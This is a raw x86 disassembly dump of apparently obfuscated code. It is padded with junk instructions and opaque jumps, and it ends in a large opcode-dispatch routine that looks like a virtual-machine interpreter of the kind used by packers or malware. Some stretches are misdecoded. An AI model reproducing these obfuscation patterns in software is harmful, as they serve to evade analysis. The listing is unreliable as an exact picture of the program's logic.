mov edx, 0x2932e9
add bh, dh
invalid
jmp 0x434e80
test esi, 0x2c67
add ebx, dword [esp]
sub ebx, dword [esp]
jne 0x43255c
add esp, 0
jne 0x43256c
jbe 0x432563
jo 0x432565
je 0x432567
lea esi, [esi]
je 0x43256c
sub eax, 0xffa451e8
push dword [eax + eax - 7]
call 0x42c9c2
je 0x432573
stc
jbe 0x43257f
lea esp, [esp]
xchg ebx, ebx
ja 0x43257f
add eax, 0x2c158b0c
mov al, byte [edx]
mov edx, dword [0x428a2c]
add edx, dword [0x428ab8]
mov dword [0x421458], edx
add esp, 0
jle 0x432596
jne 0x4325af
xchg ecx, ecx
jle 0x43259c
xchg edx, esi
xchg edx, esi
lea ecx, [ecx + 0x3abd]
lea ecx, [ecx - 0x3abd]
je 0x4325af
mov esp, 0x428a2ca1
add cl, al
call 0xb850b0bd
mov al, byte [edx]
mov eax, dword [0x428a2c]
shr eax, 3
mov ecx, dword [0x428ab8]
shl ecx, 1
sub eax, ecx
mov dword [0x42145c], eax
jge 0x4325c8
ja 0x4325db
pushf
jnp 0x4325ce
cmp ebx, dword [esp]
popf
jl 0x4325d5
nop
jle 0x4325d8
jbe 0x4325db
mov ebp, 0x2595ee8
add cl, al
in al, dx
add byte [edi - 0x7c317832], al
ljmp 0x731b
call 0x457f3e
shr esp, 0
xchg esi, ecx
xchg esi, ecx
sub edx, 0
jb 0x4325f3
lea ebx, [ebx]
jae 0x4325f3
add eax, 0x158b58ba
pop eax
adc al, 0x42
add byte [ebx], al
adc eax, 0x428ab8
mov edx, dword [0x421458]
add edx, dword [0x428ab8]
mov dword [0x421458], edx
add ebx, 0x730f
sub ebx, 0x730f
xchg ecx, eax
xchg ecx, eax
mov edi, edi
jae 0x43264b
pushf
push esi
add esi, 0x5ccb
ror esi, 0x13
pop esi
jle 0x432626
lea edi, [edi + 0x34b5]
lea edi, [edi - 0x34b5]
xor edx, dword [esp]
xor edx, dword [esp]
popf
lea ebx, [ebx + 0x3250]
lea ebx, [ebx - 0x3250]
jb 0x432648
jb 0x43264b
xor eax, 0x428a2ca1
add cl, al
call 0x5c50b158
adc al, 0x42
add byte [ebx], al
enter 0xd89, 0x5c
adc al, 0x42
add cl, al
int3
mov eax, dword [0x428a2c]
shr eax, 2
mov ecx, dword [0x42145c]
add ecx, eax
mov dword [0x42145c], ecx
ror esp, 0
xchg edx, edx
jbe 0x43266e
jg 0x43266a
nop
ja 0x43266e
sub eax, 0x143c158b
inc edx
add byte [ecx + 0x4217a815], cl
add al, bh
mov edx, dword [0x42143c]
mov dword [0x4217a8], edx
clc
shl ebx, 0
lea edi, [edi]
test dword [esp + 4], ebx
je 0x4326ab
pushf
test ebx, 0x3657
xor ebx, 0x573c
xor ebx, 0x573c
call 0x43269f
add esp, 4
popf
xchg esp, esp
jo 0x4326a8
jne 0x4326ab
mov ecx, 0x421440a1
add byte [ebx + 0x4217ac], ah
mov eax, dword [0x421440]
mov dword [0x4217ac], eax
nop
jbe 0x4326b8
jo 0x4326ba
ja 0x4326d6
pushf
sub esi, 0
je 0x4326c3
shr esp, 0
cmp esp, 0x44cf
popf
jmp 0x4326d0
lea esp, [esp]
jbe 0x4326d6
or dword [ebx + 0x4214440d], 0xb00d8900
pop ss
inc edx
add byte [ecx + 0xf85fc], al
add byte [ebp + 0x2a5192], cl
add byte [ebp - 0x2a506e], cl
call dword [edx - 0x22037e6e]
push ebp
add byte [eax], al
mov ecx, dword [0x421444]
mov dword [0x4217b0], ecx
cmp esp, 0xf85
lea edx, [edx + 0x2a51]
lea edx, [edx - 0x2a51]
xchg edx, eax
xchg edx, eax
cmp esp, 0x55dd
jnp 0x43270e
pushf
or esp, 0
xchg edi, edx
xchg edi, edx
popf
jge 0x43270b
jp 0x43270e
add eax, 0x1448158b
inc edx
add byte [ecx + 0x4217b415], cl
add byte [ecx + 0x5d0ffc], al
add byte [ebp + 0xd], bh
mov edx, dword [0x421448]
mov dword [0x4217b4], edx
cmp esp, 0x5d0f
jge 0x43272f
pushf
shl edi, 0
popf
nop
jg 0x43272c
jl 0x43272f
mov esi, 0x42144ca1
add byte [ebx + 0x4217b8], ah
mov eax, dword [0x42144c]
mov dword [0x4217b8], eax
shr ecx, 0
je 0x43274d
pushf
rol esp, 0
popf
mov esp, esp
jae 0x432749
nop
jne 0x43274d
xor eax, 0x14500d8b
inc edx
add byte [ecx + 0x4217bc0d], cl
add cl, dl
ret 0xcad1
mov ecx, dword [0x421450]
mov dword [0x4217bc], ecx
rol edx, 1
ror edx, 1
mov edx, edx
je 0x43278a
pushf
and esp, 0xffffffff
lea eax, [eax + 0x4d3]
sub eax, 0x4d3
std
cld
jb 0x432775
popf
js 0x432779
mov edi, edi
lea eax, [eax + 0x1d10]
lea eax, [eax - 0x1d10]
jne 0x43278a
call 0x14973d19
inc edx
add byte [ecx + 0x4217c015], cl
add cl, al
int3
mov edx, dword [0x421454]
mov dword [0x4217c0], edx
ror esp, 0
jnp 0x4327b7
pushf
jl 0x43279f
call 0x4327a4
add esp, 4
add ecx, dword [esp]
sub ecx, dword [esp]
popf
nop
jg 0x4327b2
xchg ecx, ecx
jp 0x4327b7
add edi, 0x4217d005
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x98d00c4], al
mov dword [0x4217d0], 0
add esp, 0
lea ecx, [ecx]
xor edx, ebx
xor edx, ebx
jno 0x4327cc
jp 0x4327e2
pushf
test edi, ebx
shr edi, 0
test esp, 0x448
popf
jb 0x4327df
jnp 0x4327e2
add eax, 0x17d405c7
inc edx
add byte [eax], al
add byte [eax], al
add byte [edi - 0x393b081c], al
jo 0x4327f3
mov dword [0x4217d4], 0
xchg esp, esp
test esp, 0x70c6
and esp, 0xffffffff
sub ecx, 0
jne 0x432804
add byte [ebx - 0x167c001c], al
add byte [ebp + 8], dh
xchg edi, ebx
xchg edi, ebx
je 0x432804
sub eax, 0xd805c79c
pop ss
inc edx
add byte [eax], al
add byte [eax], al
add byte [edi + 0x4f], al
mov dword [0x4217d8], 0
inc edi
dec edi
shr esp, 0
xchg esi, edx
xchg esi, edx
jnp 0x43282c
pushf
jne 0x43281d
jge 0x43281f
popf
xchg esi, edx
xchg esi, edx
mov esp, esp
xchg edx, edx
jp 0x43282c
add eax, 0x428a10a1
add byte [ebx + 0x4217dc], ah
mov eax, dword [0x428a10]
mov dword [0x4217dc], eax
jle 0x432838
test dword [esp], edx
add ecx, dword [esp]
sub ecx, dword [esp]
jl 0x432843
je 0x432861
pushf
inc eax
dec eax
ror edx, 0x14
ror edx, 0xc
popf
lea edi, [edi + 0x464e]
lea edi, [edi - 0x464e]
nop
jne 0x432861
mov ecx, dword [0x4283e8]
mov dword [0x4217e0], ecx
jae 0x43286f
jne 0x432879
jno 0x432873
ja 0x432875
je 0x432879
mov ecx, 0xf005c700
pop ss
inc edx
add byte [edx - 0x17ffbca9], cl
add byte [eax], al
add byte [eax], al
mov dword [0x4217f0], 0x43578a
call 0x432888
lea esp, [esp + 4]
xor edx, dword [esp + 0x10]
xor edx, dword [esp + 0x10]
shl esp, 0
cmp eax, dword [esp + 0xc]
jnp 0x4328b8
pushf
shr eax, 0
jo 0x4328a4
ror eax, 0
push eax
add eax, 0x1faf
ror eax, 4
pop eax
popf
jno 0x4328b5
jp 0x4328b8
jmp 0x6fdf2e83
mov dword [0x426f9c], entry0
push eax
mov eax, 0x434e80
mov dword [0x428a80], eax
pop eax
mov edx, dword [0x428a80]
sub edx, dword [0x426f9c]
mov dword [0x428a80], edx
xor esi, 0x7bba
xor esi, 0x7bba
jb 0x4328ee
xor ebx, 0
xchg ebx, ebx
ja 0x432901
jp 0x4328f7
xchg edx, eax
xchg edx, eax
mov esi, esi
jnp 0x4328fd
jbe 0x432901
xor esi, 0x4287a868
push 0x4287a8
call fcn.0045686d
inc edx
add al, ch
bound edi, qword [edi]
add al, byte [eax]
add esp, 4
or esp, 0
jg 0x432913
test dword [esp], edi
jno 0x432936
pushf
xchg ecx, edx
xchg ecx, edx
ror ebx, 0
popf
lea edx, [edx + 0x3984]
lea edx, [edx - 0x3984]
jo 0x432931
lea ebx, [ebx]
jo 0x432936
mov ebp, 0x428a80a1
add byte [eax - 0x75], dl
or eax, 0x426f9c
mov eax, dword [0x428a80]
push eax
mov ecx, dword [0x426f9c]
push ecx
push 0x4287a8
call fcn.0045b730
add esp, 0xc
add ecx, 0
cmp esi, dword [esp]
xchg ecx, eax
xchg ecx, eax
jns 0x432972
pushf
cmp ebx, dword [esp]
xor eax, dword [esp]
xor eax, dword [esp]
ror ebx, 0
clc
popf
js 0x43296d
jns 0x43296f
js 0x432972
lcall 0x6800, 0x4287a868
jo 0x432904
push 0x4287a8
push 0x428a70
call fcn.0042c218
add esp, 8
cmc
je 0x432987
inc edx
add al, ch
xchg edi, eax
cwde
invalid
je 0x43299e
pushf
add eax, 0x62a6
sub eax, 0x62a6
je 0x432997
popf
jmp 0x43299b
jne 0x43299e
mov edx, 0x8a74158b
inc edx
add byte [ecx + 0x42880015], cl
add byte [ebx], bh
adc al, 0x24
mov edx, dword [0x428a74]
mov dword [0x428800], edx
cmp edx, dword [esp]
jo 0x4329af
sub ebx, 0
test dword [esp + 0xc], ebx
jae 0x4329c0
xchg edi, eax
xchg edi, eax
jbe 0x4329bc
jb 0x4329c0
mov eax, 0x8a7ca1b2
inc edx
add byte [ebx + 0x426fa0], ah
mov eax, dword [0x428a7c]
mov dword [0x426fa0], eax
add ebx, dword [esp]
sub ebx, dword [esp]
jne 0x4329de
jg 0x4329d4
xchg edx, edx
js 0x4329d8
lea edx, [edx]
je 0x4329de
mov ecx, 0xc83d8352
lds eax, [ecx]
add byte [edi], cl
test byte [eax], dl
add al, byte [eax]
add byte [ebx - 0x72ef8c1c], cl
wait
rcr byte [ecx], 1
add byte [eax], al
cmp dword [0x41c5c8], 0
je 0x432bfb
mov esp, esp
jae 0x4329ff
lea ebx, [ebx + 0x19d0]
lea ebx, [ebx - 0x19d0]
jb 0x4329ff
mov eax, 0x60e4e88c
add byte [eax], al
call 0x438ae8
call 0x432a09
lea esp, [esp + 4]
add esp, 0
call 0x432a15
add esp, 4
xor ebx, dword [esp + 0x10]
xor ebx, dword [esp + 0x10]
jg 0x432a2a
jo 0x432a24
jg 0x432a26
jle 0x432a2a
ljmp 1:0x2f0ae878
call 0x445939
cmp eax, 0x67e4
cmp eax, dword [esp + 0x10]
sub esp, 0
je 0x432a4e
pushf
je 0x432a41
cmp ecx, dword [esp]
popf
lea esp, [esp]
jae 0x432a4b
jne 0x432a4e
mov edx, 0x21db0e8
add byte [ebx], bh
call 0x454803
jnp 0x432a55
je 0x432a71
pushf
js 0x432a5b
shl ecx, 0
popf
lea ecx, [ecx + 0x7593]
lea ecx, [ecx - 0x7593]
jbe 0x432a6e
jne 0x432a71
jmp 0x1ed605d
call 0x44d4ab
xor esp, 0
jbe 0x432a7b
je 0x432a7d
cmp edi, dword [esp]
jb 0x432a92
lea edx, [edx + 0x29eb]
lea edx, [edx - 0x29eb]
jae 0x432a92
mov eax, 0x6c77e884
add byte [eax], al
call 0x43970e
push edi
add edi, 0x3675
ror edi, 0xf
pop edi
jp 0x432aa4
shl ebx, 0
jno 0x432abe
pushf
xor eax, dword [esp + 8]
xor eax, dword [esp + 8]
xchg ebx, edx
xchg ebx, edx
popf
ja 0x432abb
jo 0x432abe
add eax, 0x17cc0d8b
inc edx
add byte [ecx + 0x4214580d], cl
add cl, al
ret 0xf800
mov ecx, dword [0x4217cc]
mov dword [0x421458], ecx
rol edx, 0
clc
call 0x432ad3
add esp, 4
je 0x432ae5
pushf
ror esi, 0
popf
nop
jnp 0x432ae2
jne 0x432ae5
lcall 0x42, 0x17c8158b
mov edx, dword [0x4217c8]
mov dword [0x42145c], edx
or ecx, ecx
jo 0x432b0a
pushf
jb 0x432af9
shl edx, 0
shr esp, 0
test dword [esp + 4], ecx
popf
jae 0x432b07
jno 0x432b0a
mov ebx, 0x171e2e8
add byte [ebx + 0x4f7502f8], al
call fcn.00449cf1
cmp eax, 2
jne 0x432b63
ror esi, 7
rol esi, 7
js 0x432b26
jg 0x432b1e
jge 0x432b20
jg 0x432b22
mov dword [0x428aa0], 0x21
mov dword [0x428a34], 0x12
or esi, esi
lea edx, [edx + 0x32f9]
lea edx, [edx - 0x32f9]
jl 0x432b5e
pushf
call 0x432b51
lea esp, [esp + 4]
xchg esp, esp
popf
lea eax, [eax]
jge 0x432b5e
mov ecx, 0x231de9
add byte [ebp], dh
jmp 0x434e80
jne 0x432b65
ror eax, 4
ror eax, 0x1c
ja 0x432b80
pushf
rol esp, 0
cmp ecx, edx
test eax, esi
test ecx, esi
popf
nop
xchg esp, esp
jbe 0x432b80
sub eax, 0x63483d83
inc edx
add byte [eax], al
cmp dword [0x426348], 0
je 0x432b92
cmp dword [0x42634c], 0
jne 0x432bf9
rol ecx, 0x16
ror ecx, 0x16
lea edx, [edx]
mov edx, edx
jae 0x432b9e
mov eax, dword [0x42143c]
add eax, dword [0x421440]
mov dword [0x428a2c], eax
mov ecx, dword [0x42143c]
sub ecx, dword [0x421440]
mov dword [0x428ab8], ecx
mov edx, dword [0x428a2c]
mov dword [0x421458], edx
mov eax, dword [0x428ab8]
mov dword [0x42145c], eax
mov ecx, dword [0x42670c]
mov dx, word [ecx]
mov word [0x4289bc], dx
mov eax, dword [0x42670c]
mov cx, word [eax + 2]
mov word [0x4289be], cx
mov edx, dword [0x42670c]
mov eax, dword [edx + 4]
mov dword [0x4289b8], eax
mov ecx, dword [0x42670c]
add ecx, 8
mov dword [0x42670c], ecx
xor edx, edx
mov dx, word [0x4289bc]
mov dword [ebp - 0x2a4], edx
cmp dword [ebp - 0x2a4], 0x44d7
jg 0x43343c
cmp dword [ebp - 0x2a4], 0x44d7
je case.0x4331ef.4
cmp dword [ebp - 0x2a4], 0x2503
jg 0x4330ac
cmp dword [ebp - 0x2a4], 0x2503
je case.0x4331ef.0
cmp dword [ebp - 0x2a4], 0x15ad
jg 0x432ecc
cmp dword [ebp - 0x2a4], 0x15ad
je 0x433c0c
cmp dword [ebp - 0x2a4], 0xe27
jg 0x432de4
cmp dword [ebp - 0x2a4], 0xe27
je 0x433d92
cmp dword [ebp - 0x2a4], 0x51e
jg 0x432d7e
cmp dword [ebp - 0x2a4], 0x51e
je 0x434664
cmp dword [ebp - 0x2a4], 0x34d
jg 0x432d59
cmp dword [ebp - 0x2a4], 0x34d
je case.0x433a25.3
cmp dword [ebp - 0x2a4], 0x13
je 0x434767
cmp dword [ebp - 0x2a4], 0x2dd
je case.0x4331ef.3
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x4b5
je 0x433c49
cmp dword [ebp - 0x2a4], 0x4fe
je 0x433c0c
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x8ff
jg 0x432dbf
cmp dword [ebp - 0x2a4], 0x8ff
je 0x433dd5
cmp dword [ebp - 0x2a4], 0x729
je case.0x4331ef.1
cmp dword [ebp - 0x2a4], 0x778
je 0x434664
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0xa07
je 0x433c0c
cmp dword [ebp - 0x2a4], 0xa99
je case.0x43319d.3
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x126f
jg 0x432e66
cmp dword [ebp - 0x2a4], 0x126f
je 0x433f26
cmp dword [ebp - 0x2a4], 0x100b
jg 0x432e41
cmp dword [ebp - 0x2a4], 0x100b
je 0x4345a5
cmp dword [ebp - 0x2a4], 0xe6b
je case.0x4331ef.1
cmp dword [ebp - 0x2a4], 0xead
je case.0x4331ef.0
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x110a
je 0x433d92
cmp dword [ebp - 0x2a4], 0x1230
je 0x433e26
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x1394
jg 0x432ea7
cmp dword [ebp - 0x2a4], 0x1394
je 0x433d92
cmp dword [ebp - 0x2a4], 0x129d
je 0x4345a5
cmp dword [ebp - 0x2a4], 0x12e8
je 0x434767
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x13ad
je case.0x43319d.1
cmp dword [ebp - 0x2a4], 0x13af
je case.0x4331ef.3
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x1b5e
jg 0x432fd4
cmp dword [ebp - 0x2a4], 0x1b5e
je case.0x433a25.3
cmp dword [ebp - 0x2a4], 0x18d9
jg 0x432f6e
cmp dword [ebp - 0x2a4], 0x18d9
je 0x434767
cmp dword [ebp - 0x2a4], 0x175f
jg 0x432f49
cmp dword [ebp - 0x2a4], 0x175f
je case.0x433a25.2
cmp dword [ebp - 0x2a4], 0x1658
je 0x4347e5
cmp dword [ebp - 0x2a4], 0x16b3
je case.0x4331ef.2
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x17ac
je case.0x4331ef.4
cmp dword [ebp - 0x2a4], 0x180a
je case.0x433a25.2
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x1a9f
jg 0x432faf
cmp dword [ebp - 0x2a4], 0x1a9f
je 0x4345a5
cmp dword [ebp - 0x2a4], 0x1971
je 0x433e61
cmp dword [ebp - 0x2a4], 0x1977
je 0x433d92
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x1af8
je 0x434171
cmp dword [ebp - 0x2a4], 0x1b0a
je 0x434171
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x20ca
jg 0x433056
cmp dword [ebp - 0x2a4], 0x20ca
je case.0x43319d.2
cmp dword [ebp - 0x2a4], 0x1fd8
jg 0x433031
cmp dword [ebp - 0x2a4], 0x1fd8
je 0x433dd5
cmp dword [ebp - 0x2a4], 0x1c27
je 0x433e26
cmp dword [ebp - 0x2a4], 0x1d70
je 0x434767
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x204e
je 0x433e26
cmp dword [ebp - 0x2a4], 0x208d
je 0x434767
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x22f9
jg 0x433097
cmp dword [ebp - 0x2a4], 0x22f9
je 0x433c49
cmp dword [ebp - 0x2a4], 0x2134
je 0x433c49
cmp dword [ebp - 0x2a4], 0x227a
je case.0x43319d.1
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x231f
je case.0x43319d.1
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x3502
jg 0x43325c
cmp dword [ebp - 0x2a4], 0x3502
je 0x433ca8
cmp dword [ebp - 0x2a4], 0x2c75
jg 0x4331a4
cmp dword [ebp - 0x2a4], 0x2c75
je case.0x43319d.0
cmp dword [ebp - 0x2a4], 0x2aca
jg 0x43316e
cmp dword [ebp - 0x2a4], 0x2aca
je 0x433e61
cmp dword [ebp - 0x2a4], 0x2736
jg 0x433149
cmp dword [ebp - 0x2a4], 0x2736
je 0x433f26
cmp dword [ebp - 0x2a4], 0x2694
je 0x434664
cmp dword [ebp - 0x2a4], 0x26cd
je 0x43456e
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x2801
je 0x433c0c
cmp dword [ebp - 0x2a4], 0x2a72
je case.0x433a25.1
jmp case.0x433a25.4
mov eax, dword [ebp - 0x2a4]
sub eax, 0x2b49
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0xd9
ja case.0x433a25.4
mov edx, dword [ebp - 0x2a4]
xor ecx, ecx
mov cl, byte [edx + 0x4354af]
jmp dword [ecx*4 + 0x43549b]
cmp dword [ebp - 0x2a4], 0x2dde
jg 0x4331f6
cmp dword [ebp - 0x2a4], 0x2dde
je 0x433f26
mov eax, dword [ebp - 0x2a4]
sub eax, 0x2c9e
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0xdc
ja case.0x433a25.4
mov edx, dword [ebp - 0x2a4]
xor ecx, ecx
mov cl, byte [edx + 0x4355a1]
jmp dword [ecx*4 + 0x435589]
cmp dword [ebp - 0x2a4], 0x3041
jg 0x433237
cmp dword [ebp - 0x2a4], 0x3041
je case.0x4331ef.2
cmp dword [ebp - 0x2a4], 0x2e20
je 0x43456e
cmp dword [ebp - 0x2a4], 0x2e4e
je 0x4347e5
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x32d4
je case.0x433a25.0
cmp dword [ebp - 0x2a4], 0x3394
je case.0x4331ef.0
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x3ab9
jg 0x433364
cmp dword [ebp - 0x2a4], 0x3ab9
je 0x433dd5
cmp dword [ebp - 0x2a4], 0x37b9
jg 0x4332fe
cmp dword [ebp - 0x2a4], 0x37b9
je 0x433d92
cmp dword [ebp - 0x2a4], 0x36c9
jg 0x4332d9
cmp dword [ebp - 0x2a4], 0x36c9
je case.0x4331ef.4
cmp dword [ebp - 0x2a4], 0x3522
je 0x43456e
cmp dword [ebp - 0x2a4], 0x3674
je 0x43452c
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x3719
je case.0x43319d.0
cmp dword [ebp - 0x2a4], 0x3723
je 0x433dd5
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x3921
jg 0x43333f
cmp dword [ebp - 0x2a4], 0x3921
je 0x43456e
cmp dword [ebp - 0x2a4], 0x37da
je 0x433d03
cmp dword [ebp - 0x2a4], 0x3843
je case.0x43319d.3
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x3925
je case.0x4331ef.2
cmp dword [ebp - 0x2a4], 0x39fc
je case.0x4331ef.4
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x3ff9
jg 0x4333e6
cmp dword [ebp - 0x2a4], 0x3ff9
je 0x433f26
cmp dword [ebp - 0x2a4], 0x3d85
jg 0x4333c1
cmp dword [ebp - 0x2a4], 0x3d85
je 0x433e61
cmp dword [ebp - 0x2a4], 0x3bdc
je 0x433ca8
cmp dword [ebp - 0x2a4], 0x3d2f
je case.0x433a25.0
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x3e7f
je case.0x4331ef.3
cmp dword [ebp - 0x2a4], 0x3f2d
je 0x433c49
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x4233
jg 0x433427
cmp dword [ebp - 0x2a4], 0x4233
je 0x434848
cmp dword [ebp - 0x2a4], 0x416e
je case.0x43319d.1
cmp dword [ebp - 0x2a4], 0x4175
je case.0x43319d.3
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x43c4
je case.0x433a25.1
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x6640
jg 0x43384c
cmp dword [ebp - 0x2a4], 0x6640
je 0x434767
cmp dword [ebp - 0x2a4], 0x570d
jg 0x43366c
cmp dword [ebp - 0x2a4], 0x570d
je case.0x4331ef.4
cmp dword [ebp - 0x2a4], 0x4ea3
jg 0x433584
cmp dword [ebp - 0x2a4], 0x4ea3
je case.0x433a25.1
cmp dword [ebp - 0x2a4], 0x4b77
jg 0x43351e
cmp dword [ebp - 0x2a4], 0x4b77
je 0x433d92
cmp dword [ebp - 0x2a4], 0x4930
jg 0x4334f9
cmp dword [ebp - 0x2a4], 0x4930
je 0x434171
cmp dword [ebp - 0x2a4], 0x44e6
je 0x434664
cmp dword [ebp - 0x2a4], 0x4783
je case.0x43319d.2
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x499f
je 0x433c0c
cmp dword [ebp - 0x2a4], 0x49a3
je 0x433f26
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x4c34
jg 0x43355f
cmp dword [ebp - 0x2a4], 0x4c34
je 0x43452c
cmp dword [ebp - 0x2a4], 0x4b8b
je 0x433c49
cmp dword [ebp - 0x2a4], 0x4bbb
je case.0x43319d.2
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x4cf9
je 0x433d03
cmp dword [ebp - 0x2a4], 0x4d90
je 0x433d03
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x5260
jg 0x433606
cmp dword [ebp - 0x2a4], 0x5260
je 0x433d03
cmp dword [ebp - 0x2a4], 0x4fb6
jg 0x4335e1
cmp dword [ebp - 0x2a4], 0x4fb6
je 0x434848
cmp dword [ebp - 0x2a4], 0x4f6d
je 0x43452c
cmp dword [ebp - 0x2a4], 0x4f9f
je 0x433ca8
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x5007
je case.0x43319d.0
cmp dword [ebp - 0x2a4], 0x50d1
je 0x43456e
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x55d4
jg 0x433647
cmp dword [ebp - 0x2a4], 0x55d4
je 0x433dd5
cmp dword [ebp - 0x2a4], 0x5269
je 0x43452c
cmp dword [ebp - 0x2a4], 0x5537
je case.0x4331ef.2
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x56bf
je case.0x433a25.2
cmp dword [ebp - 0x2a4], 0x56ff
je case.0x4331ef.1
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x5d9f
jg 0x433774
cmp dword [ebp - 0x2a4], 0x5d9f
je 0x433d03
cmp dword [ebp - 0x2a4], 0x5bda
jg 0x43370e
cmp dword [ebp - 0x2a4], 0x5bda
je 0x434196
cmp dword [ebp - 0x2a4], 0x5884
jg 0x4336e9
cmp dword [ebp - 0x2a4], 0x5884
je 0x4345a5
cmp dword [ebp - 0x2a4], 0x57a2
je case.0x4331ef.3
cmp dword [ebp - 0x2a4], 0x581f
je case.0x43319d.0
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x59b6
je 0x4347e5
cmp dword [ebp - 0x2a4], 0x5bbc
je 0x433e26
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x5c60
jg 0x43374f
cmp dword [ebp - 0x2a4], 0x5c60
je 0x4345a5
cmp dword [ebp - 0x2a4], 0x5bed
je case.0x433a25.3
cmp dword [ebp - 0x2a4], 0x5c10
je 0x434196
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x5d0b
je 0x434171
cmp dword [ebp - 0x2a4], 0x5d86
je 0x434848
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x60c0
jg 0x4337f6
cmp dword [ebp - 0x2a4], 0x60c0
je case.0x4331ef.1
cmp dword [ebp - 0x2a4], 0x5eb1
jg 0x4337d1
cmp dword [ebp - 0x2a4], 0x5eb1
je case.0x4331ef.0
cmp dword [ebp - 0x2a4], 0x5dad
je case.0x43319d.2
cmp dword [ebp - 0x2a4], 0x5e2f
je case.0x433a25.2
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x5f2e
je case.0x4331ef.1
cmp dword [ebp - 0x2a4], 0x6010
je 0x43452c
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x637b
jg 0x433837
cmp dword [ebp - 0x2a4], 0x637b
je 0x434171
cmp dword [ebp - 0x2a4], 0x6290
je 0x433e26
cmp dword [ebp - 0x2a4], 0x62d4
je 0x433f26
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x65e8
je 0x43456e
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x7444
jg 0x433a2c
cmp dword [ebp - 0x2a4], 0x7444
je 0x434196
cmp dword [ebp - 0x2a4], 0x6c65
jg 0x433974
cmp dword [ebp - 0x2a4], 0x6c65
je 0x433dd5
cmp dword [ebp - 0x2a4], 0x69b7
jg 0x43390e
cmp dword [ebp - 0x2a4], 0x69b7
je 0x434171
cmp dword [ebp - 0x2a4], 0x679f
jg 0x4338e9
cmp dword [ebp - 0x2a4], 0x679f
je 0x43452c
cmp dword [ebp - 0x2a4], 0x66a0
je 0x433c0c
cmp dword [ebp - 0x2a4], 0x66b5
je case.0x43319d.3
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x6910
je 0x4347e5
cmp dword [ebp - 0x2a4], 0x6977
je 0x434196
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x6aab
jg 0x43394f
cmp dword [ebp - 0x2a4], 0x6aab
je 0x4347e5
cmp dword [ebp - 0x2a4], 0x6a4d
je 0x433e26
cmp dword [ebp - 0x2a4], 0x6a77
je 0x434848
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x6afe
je case.0x433a25.3
cmp dword [ebp - 0x2a4], 0x6c12
je 0x434848
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x706c
jg 0x4339f6
cmp dword [ebp - 0x2a4], 0x706c
je case.0x43319d.0
cmp dword [ebp - 0x2a4], 0x6e85
jg 0x4339d1
cmp dword [ebp - 0x2a4], 0x6e85
je 0x433d03
cmp dword [ebp - 0x2a4], 0x6d88
je 0x433ca8
cmp dword [ebp - 0x2a4], 0x6da7
je 0x4347e5
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x6eec
je case.0x43319d.2
cmp dword [ebp - 0x2a4], 0x6feb
je 0x4345a5
jmp case.0x433a25.4
mov eax, dword [ebp - 0x2a4]
sub eax, 0x7331
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0xc5
ja case.0x433a25.4
mov edx, dword [ebp - 0x2a4]
xor ecx, ecx
mov cl, byte [edx + 0x435692]
jmp dword [ecx*4 + 0x43567e]
cmp dword [ebp - 0x2a4], 0x79c1
jg 0x433b34
cmp dword [ebp - 0x2a4], 0x79c1
je case.0x433a25.0
cmp dword [ebp - 0x2a4], 0x76e8
jg 0x433ace
cmp dword [ebp - 0x2a4], 0x76e8
je case.0x433a25.1
cmp dword [ebp - 0x2a4], 0x7540
jg 0x433aa9
cmp dword [ebp - 0x2a4], 0x7540
je case.0x4331ef.3
cmp dword [ebp - 0x2a4], 0x744e
je case.0x433a25.0
cmp dword [ebp - 0x2a4], 0x7477
je case.0x433a25.0
jmp case.0x433a25.4
